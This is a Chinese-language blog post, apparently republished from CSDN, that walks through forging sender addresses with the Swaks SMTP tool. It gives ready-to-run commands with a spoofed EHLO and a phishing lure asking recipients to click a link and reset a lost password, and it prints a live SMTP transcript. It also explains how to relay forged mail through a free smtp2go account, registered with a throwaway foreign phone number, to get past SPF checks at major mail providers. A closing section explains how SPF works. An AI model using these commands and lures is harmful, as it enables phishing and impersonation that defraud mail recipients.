使用Swaks绕过SPF验证进行邮件伪造

08May

8:24 AM

182 次浏览

0 条评论

目录


swaks简介


swaks参数说明


伪造发送


绕过SPF


1.先配置smtp2go


 2.伪造邮件绕过


 3.SPF验证原理


4.总结


首先了解一下什么是Swaks。


swaks简介

Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。


目前Swaks托管在私有svn存储库中。官方项目页面是Swaks - Swiss Army Knife for SMTP


下载安装:(kali系统下自带)


swaks参数说明

--to //收件人邮箱地址


--from test@qq.com //发件人邮箱;


--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证


--body "http://www.baidu.com" //引号中的内容即为邮件正文;


--header "Subject:hello" //邮件头信息,subject为邮件标题


--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送


伪造发送

1.发送简单内容,个别邮箱没有SPF拦截,可以直接发送成功,例如网易邮箱,当被拦截后,就需要SPF绕过了,我们后面提到。(qq邮箱无法直接发送)


swaks --to XX@163.com --from gg@moakt.cc(临时邮箱)  --ehlo qq.com  --body 由于系统故障,导致密 码丢失,请点击如下链接登录平台修改密码。 --header "Subject: 系统故障" 

bject: 你好"   

=== Trying 163mx02.mxmail.netease.com:25...

=== Connected to 163mx02.mxmail.netease.com.

<-  220 163.com Anti-spam GT for Coremail System (163com[20141201])

 -> EHLO qq.com

<-  250-mail

<-  250-PIPELINING

<-  250-AUTH LOGIN PLAIN

<-  250-AUTH=LOGIN PLAIN

<-  250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UFjmjrBUCa0xDrUUUUj

<-  250-STARTTLS

<-  250-SIZE 73400320

<-  250 8BITMIME

 -> MAIL FROM:<gg@moakt.cc>

<-  250 Mail OK

 -> RCPT TO:<XX@163.com>

<-  250 Mail OK

 -> DATA

<-  354 End data with <CR><LF>.<CR><LF>

 -> Date: Wed, 16 Feb 2022 15:23:42 +0800

 -> To: shixin_11@163.com

 -> From: gg@moakt.cc

 -> Subject: 你好

 -> Message-Id: <20220216152342.002000@localdomain.localdomain>

 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/

 -> 

 -> 测试效果

 -> 

 -> 

 -> .

<-  250 Mail OK queued as mx50,eMCowAA3GpFPpgxiEYhqDA--.2493S2 1644996183

 -> QUIT

<-  221 Bye

=== Connection closed with remote host.



qq邮箱被拦截



 邮件模板可自行根据实际情况进行修改。导出邮件eml文件。使用--data参数。


2.添加附件


--attach   XX.docx

绕过SPF

1.先配置smtp2go

smtp2go主要是相当于邮件托管,可以分发子账户进行发送。


注册地址:https://www.smtp2go.com/


(邮箱注册)普通账户可以免费发1000封邮件。


这时候需要在设置菜单中的uses中新建一个账号,密码可以自动生成或者自己修改。



 接着写入一个邮箱地址,点击继续。


输入用户和密码,电话需要填写国外的,找一个国外电话短信接收平台


短信平台:https://ch.freephonenum.com/



 进去之后添加用户就可以使用了



 2.伪造邮件绕过

--server 邮件服务器

-p 2525 端口号

-au 用户名


-ap 密码


swaks --to XX@XX --from tb@tmail.ws  --ehlo XX  --body 由于系统故障,导致密码丢失,请点击如下链接登录平台修改密码. --server mail.smtp2go.com -p 2525 -au XX -ap XX

可以给企业邮箱伪造邮件发送,目前是测试邮件,后续继续优化。


为什么会显示代发:


查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。



 3.SPF验证原理

SPF,全称为 Sender Policy Framework,即发件人策略框架。


当前 Email 通信,还是在使用 SMTP 这个协议。SMTP 的全称为 Simple Mail Transfer Protocol,即「简单邮件传输协议」。正如它的名字锁暗示的,SMTP 实际上是一个非常简单(甚至简陋)的传输协议,本身并没有很好的安全措施。根据 SMTP 的规则,发件人的邮箱地址是可以由发信方任意声明的。在 SMTP 协议制定的时候也许还好,但在垃圾和诈骗邮件横行的今天,这显然是极不安全的。


SPF 出现的目的,就是为了防止随意伪造发件人。


SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:


假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。


因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的,当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。


4.总结

经测试,通过swaks 加smtp2go中转服务器可以绕过icloud.com ,aliyun.com,gmail.com,163.com等邮箱的SPF进行邮件伪造。


#本文章借鉴渗透测试中心

————————————————

版权声明:本文为CSDN博主「十三2」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/y995zq/article/details/122963484


留言评论
称呼
邮箱
网址